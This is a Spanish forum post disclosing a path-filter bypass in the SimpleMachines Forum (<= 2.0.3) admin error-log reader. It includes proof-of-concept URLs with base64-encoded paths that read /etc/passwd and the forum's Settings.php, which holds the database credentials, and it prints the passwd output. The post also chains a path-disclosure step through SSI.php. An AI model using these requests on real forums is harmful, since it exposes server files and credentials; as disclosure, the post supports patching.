File Disclosure en SimpleMachines Forum <= 2.0.3

Iniciado por WHK, 7 Enero 2013, 16:17 PM

0 Miembros y 1 Visitante están viendo este tema.

WHK

Algunos me han preguntado para que sirve esta vulnerabilidad:
http://whk.drawcoders.net/index.php/topic,2792.0.html

Otros dicen que no sirve para nada o que el impacto es nulo.

Pues acá les voy a dejar una demosración:

Hace unos minutos encontré otra falla de seguridad en el panel de administración, especificamente en el lector de archivos de errores.

Normalmente esta sección permite ver los archivos de error y cargar la url via petición GET:
http://test.com/forum/index.php?action=admin;area=logs;sa=errorlog

Si revisamos el código fuente en el archivo /Sources/ManageErrors.php linea 340 veremos lo siguiente:
Código (php) [Seleccionar]
// Make sure the file we are looking for is one they are allowed to look at
    if (!is_readable($file) || (strpos($file, '../') !== false && ( strpos($file, $boarddir) === false || strpos($file, $sourcedir) === false)))
        fatal_lang_error('error_bad_file', true, array(htmlspecialchars($file)));


Como vemos, SMF ha puesto una traba para que nos imposibilite mostrar archivos que no esten dentro del directorio de smf, nos restringen urls tales como ../../../../foo a traves de esta función:
Código:
strpos($file, '../')

Ahora, vemos que no necesitamos el string "../" para saltar hacia otros directorios, hacemos un bypass de la siguiente manera: /home/?/public_html/forum/file.

La pueba de concepto:
http://test.con/forum/index.php?action=admin;area=logs;sa=errorlog;file=L2V0Yy9wYXNzd2Q=

donde file es /etc/passwd en base64:
Citar1:     root:x:0:0:root:/root:/bin/bash
2:     bin:x:1:1:bin:/bin:/sbin/nologin
3:     daemon:x:2:2:daemon:/sbin:/sbin/nologin
4:     adm:x:3:4:adm:/var/adm:/sbin/nologin
5:     lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
6:     sync:x:5:0:sync:/sbin:/bin/sync
7:     shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
8:     halt:x:7:0:halt:/sbin:/sbin/halt
9:     mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
10:     news:x:9:13:news:/etc/news:
11:     uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
12:     operator:x:11:0:operator:/root:/sbin/nologin
13:     games:x:12:100:games:/usr/games:/sbin/nologin
14:     gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
15:     ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
16:     nobody:x:99:99:Nobody:/:/sbin/nologin
17:     mailnull:x:47:47::/var/spool/mqueue:/sbin/nologin
18:     smmsp:x:51:51::/var/spool/mqueue:/sbin/nologin
19:     apache:x:48:48:Apache:/var/www:/sbin/nologin
20:     nscd:x:28:28:NSCD Daemon:/:/sbin/nologin

Ahora... que pasa si queremos obtener un archivo oculto del foro? digamos la conexión de MySQL o la contraseña de un IRC?
Lo primero que necesitamos es saber cual es la ruta absoluta :D asi que hacemos lo siguiente....

Paso 1. Vamos a http://example.com/forumpath/SSI.php?ssi_function=fetchPosts
Obtenemos la ruta:
Citar<blockquote>Warning: Missing argument 1 for ssi_fetchPosts() in /home/spadmin/public_html/SSI.php on line 316</blockquote>

Paso 2. Ahora vamos a hacerle bypass al lector de archivo de errores:
http://test.con/forum/index.php?action=admin;area=logs;sa=errorlog;file=L2hvbWUvc3BhZG1pbi9wdWJsaWNfaHRtbC9TZXR0aW5ncy5waHA=

Donde "L2hvbWUvc3BhZG1pbi9wdWJsaWNfaHRtbC9TZXR0aW5ncy5waHA=" es igual a "/home/spadmin/public_html/Settings.php"

De esta forma un path disclosure puede permitir a un atacante saber en que directorio estan los archivos mas sensibles del sistema y leerlos a gusto y gana.

Saludos.

Fuente:
http://whk.drawcoders.net/index.php/topic,2805.0.html